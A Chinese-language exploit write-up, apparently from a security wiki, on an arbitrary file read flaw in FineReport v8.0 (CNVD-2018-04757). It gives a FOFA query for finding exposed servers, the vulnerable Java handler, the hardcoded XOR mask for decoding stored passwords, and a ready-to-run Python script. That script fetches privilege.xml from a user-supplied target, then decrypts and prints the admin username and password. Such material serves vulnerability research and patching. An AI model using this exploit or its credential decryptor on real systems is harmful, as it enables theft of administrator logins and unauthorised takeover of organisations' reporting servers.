帆软报表 v8.0 任意文件读取漏洞 CNVD-2018-04757
漏洞描述
FineReport报表软件是一款纯Java编写的，集数据展示(报表)和数据录入(表单)功能于一身的企业级web报表工具。
FineReport v8.0版本存在任意文件读取漏洞，攻击者可利用漏洞读取网站任意文件。
漏洞影响
FineReport < v8.0
FOFA
body="isSupportForgetPwd"
漏洞复现
出现漏洞的文件为 fr-applet-8.0.jar
package com.fr.chart.web;
import com.fr.base.FRContext;
import com.fr.general.IOUtils;
import com.fr.stable.CodeUtils;
import com.fr.web.core.ActionNoSessionCMD;
import com.fr.web.utils.WebUtils;
import java.io.InputStream;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class ChartGetFileContentAction extends ActionNoSessionCMD {
public ChartGetFileContentAction() {
}
public void actionCMD(HttpServletRequest var1, HttpServletResponse var2, String var3) throws Exception {
String var4 = CodeUtils.cjkDecode(WebUtils.getHTTPRequestParameter(var1, "resourcepath"));
if (!WebUtils.invalidResourcePath(var4)) {
InputStream var5 = FRContext.getCurrentEnv().readResource(var4);
String var6 = IOUtils.inputStream2String(var5);
var6 = var6.replace('\ufeff', ' ');
WebUtils.printAsString(var2, var6);
}
}
public String getCMD() {
return "get_geo_json";
}
}
使用request将文件名传入 调用cjkDecode函数解密文件名
使用invalidResourcePath函数校验文件是否存在
最后使用readResource函数读取文件传输到浏览器上 默认目录为resources
其中的privilege.xml里面存储了后台的用户名密码
<?xml version="1.0" encoding="UTF-8"?>
<PrivilegeManager xmlVersion="20170715" releaseVersion="8.0.0" fsSystemManagerPassSet="true" birthday="0" male="false">
<rootManagerName>
<![CDATA[admin]]></rootManagerName>
<rootManagerPassword>
<![CDATA[___00520017004e002b004100b7004200250023007f003d003d005400e4001c0057]]></rootManagerPassword>
<AP class="com.fr.privilege.providers.NoAuthenticationProvider"/>
<ForwardUrl>
<![CDATA[${servletURL}?op=fr_platform]]></ForwardUrl>
<PVFILTER class="com.fr.fs.privilege.auth.BasePrivilegeFilter"/>
</PrivilegeManager>
加密函数
public static String passwordEncode(String var0) {
StringBuilder var1 = new StringBuilder();
var1.append("___");
if (var0 == null) {
return var1.toString();
} else {
int var2 = 0;
for(int var3 = 0; var3 < var0.length(); ++var3) {
if (var2 == PASSWORD_MASK_ARRAY.length) {
var2 = 0;
}
int var4 = var0.charAt(var3) ^ PASSWORD_MASK_ARRAY[var2];
String var5 = Integer.toHexString(var4);
int var6 = var5.length();
for(int var7 = 0; var7 < 4 - var6; ++var7) {
var5 = "0" + var5;
}
var1.append(var5);
++var2;
}
return var1.toString();
}
}
解密函数
public static String passwordDecode(String var0) {
if (var0 != null && var0.startsWith("___")) {
var0 = var0.substring(3);
StringBuilder var1 = new StringBuilder();
int var2 = 0;
for(int var3 = 0; var3 <= var0.length() - 4; var3 += 4) {
if (var2 == PASSWORD_MASK_ARRAY.length) {
var2 = 0;
}
String var4 = var0.substring(var3, var3 + 4);
int var5 = Integer.parseInt(var4, 16) ^ PASSWORD_MASK_ARRAY[var2];
var1.append((char)var5);
++var2;
}
var0 = var1.toString();
}
return var0;
}
使用python写出的解密代码为
cipher = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx' #密文
PASSWORD_MASK_ARRAY = [19, 78, 10, 15, 100, 213, 43, 23] #掩码
Password = ""
cipher = cipher[3:] #截断三位后
for i in range(int(len(cipher) / 4)):
c1 = int("0x" + cipher[i * 4:(i + 1) * 4], 16)
c2 = c1 ^ PASSWORD_MASK_ARRAY[i % 8]
Password = Password + chr(c2)
print (Password)
这里使用上面讲述的原理进行复现,访问目标
路径分为两种
/WebReport/ReportServer
ReportServer
访问POC为,读取密码文件 privilege.xml
使用解密脚本解密文件
得到密码，即可登陆后台系统，账户为 admin
漏洞利用POC
import requests
import sys
import re
from requests.packages.urllib3.exceptions import InsecureRequestWarning
def title():
print('+------------------------------------------')
print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')
print('+ \033[34m公众号 : PeiQi文库 \033[0m')
print('+ \033[34mVersion: 帆软报表 v8.0 \033[0m')
print('+ \033[36m使用格式: python3 poc.py \033[0m')
print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m')
print('+------------------------------------------')
def decode_passwd(cipher):
PASSWORD_MASK_ARRAY = [19, 78, 10, 15, 100, 213, 43, 23] # 掩码
Password = ""
cipher = cipher[3:] # 截断三位后
for i in range(int(len(cipher) / 4)):
c1 = int("0x" + cipher[i * 4:(i + 1) * 4], 16)
c2 = c1 ^ PASSWORD_MASK_ARRAY[i % 8]
Password = Password + chr(c2)
return Password
def POC_1(target_url):
vuln_url_1 = target_url + '/WebReport/ReportServer'
vuln_url_2 = target_url + '/ReportServer'
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
}
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response_1 = requests.get(url=vuln_url_1, timeout=5, verify=False, headers=headers)
response_2 = requests.get(url=vuln_url_2, timeout=5, verify=False, headers=headers)
if "部署页面" in response_1.text:
print("\033[32m[o] 目标部署页面为: {} \033[0m".format(vuln_url_1))
POC_2(vuln_url_1)
elif "部署页面" in response_2.text:
print("\033[32m[o] 目标部署页面为: {} \033[0m".format(vuln_url_2))
POC_2(vuln_url_2)
else:
print("\033[31m[x] 目标漏洞无法利用 \033[0m")
sys.exit(0)
except Exception as e:
print("\033[31m[x] 目标漏洞无法利用 {} \033[0m".format(e))
sys.exit(0)
def POC_2(vuln_url_fileread):
vuln_url = vuln_url_fileread + "?op=chart&cmd=get_geo_json&resourcepath=privilege.xml"
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.get(url=vuln_url, verify=False, timeout=5)
print("\033[32m[o] 正在访问: {} \033[0m".format(vuln_url))
if "rootManagerPassword" in response.text and response.status_code == 200:
print("\033[32m[o] 目标存在漏洞,读取敏感文件 \n{} \033[0m".format(response.text))
user_name = re.findall(r'<!\[CDATA\[(.*?)]]></rootManagerName>', response.text)
cipher = re.findall(r'<!\[CDATA\[(.*?)]]></rootManagerPassword>', response.text)
password = decode_passwd(cipher[0])
print("\033[34m[o] 后台账户密码为:{} {} \033[0m".format(user_name[0], password))
else:
print("\033[31m[x] 目标 {}不存在漏洞 \033[0m".format(target_url))
except Exception as e:
print("\033[31m[x] 目标 {} 请求失败 \033[0m".format(target_url))
if __name__ == '__main__':
title()
target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
POC_1(target_url)
Goby & POC
帆软报表 v8.0 任意文件读取漏洞 CNVD-2018-04757
